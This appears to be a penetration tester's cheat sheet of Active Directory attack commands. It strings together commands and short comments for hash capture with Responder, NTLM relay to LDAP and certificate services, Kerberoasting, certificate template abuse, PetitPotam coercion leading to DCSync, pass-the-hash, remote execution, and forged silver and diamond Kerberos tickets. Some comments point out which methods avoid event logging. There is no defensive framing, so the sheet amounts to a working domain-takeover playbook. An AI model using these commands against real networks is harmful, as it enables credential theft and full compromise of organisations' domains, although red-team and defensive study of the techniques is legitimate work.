# Take snapshot from any low-priv user, analyze offlineADExplorer.exe → File → Create Snapshot# Convert to BloodHound formatADExplorerSnapshot.py snapshot.dat -o output/
# Capture NetNTLMv2 hashes from broadcast resolutionresponder -I eth0 -wrf# Inveigh (Windows-side, when you have a foothold)Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
# Identify relay targets (no SMB signing, LDAP signing not required)nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert requestimpacket-ntlmrelayx -tf relay-targets.txt -smb2support \ --escalate-user attacker --delegate-access# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint upimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \ --adcs --template DomainController
# Request TGS for all SPN-bearing accountsRubeus.exe kerberoast /outfile:tgs.txt /nowrap# AES-only accounts (harder to crack but worth attempting)Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Request cert as Administratorcertipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \ -upn administrator@corp.local# Use cert to get TGT and NT hash via UnPAC-the-Hashcertipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
# Coerce any DC, relay to ADCS Web Enrollment, request DC certimpacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \ --adcs --template DomainController &PetitPotam.py attacker-ip dc.corp.local# Result: cert for DC$ → TGT → DCSync
# PTH with NT hashnxc smb 10.0.0.0/24 -u admin -H <NThash> --local-authimpacket-psexec corp/admin@target -hashes :<NThash># Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
# Inject TGTRubeus.exe ptt /ticket:base64.kirbi# Or from .ccacheKRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
# WinRM (no event logs in default channel for command exec)evil-winrm -i target -u admin -H <hash># SMB exec without service creation (uses task scheduler)impacket-atexec corp/admin@target -hashes :<hash> "whoami"# WMIimpacket-wmiexec corp/admin@target -hashes :<hash># DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
# Forge TGS for a specific service using its account hashimpacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \ -spn cifs/server.corp.local Administrator
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512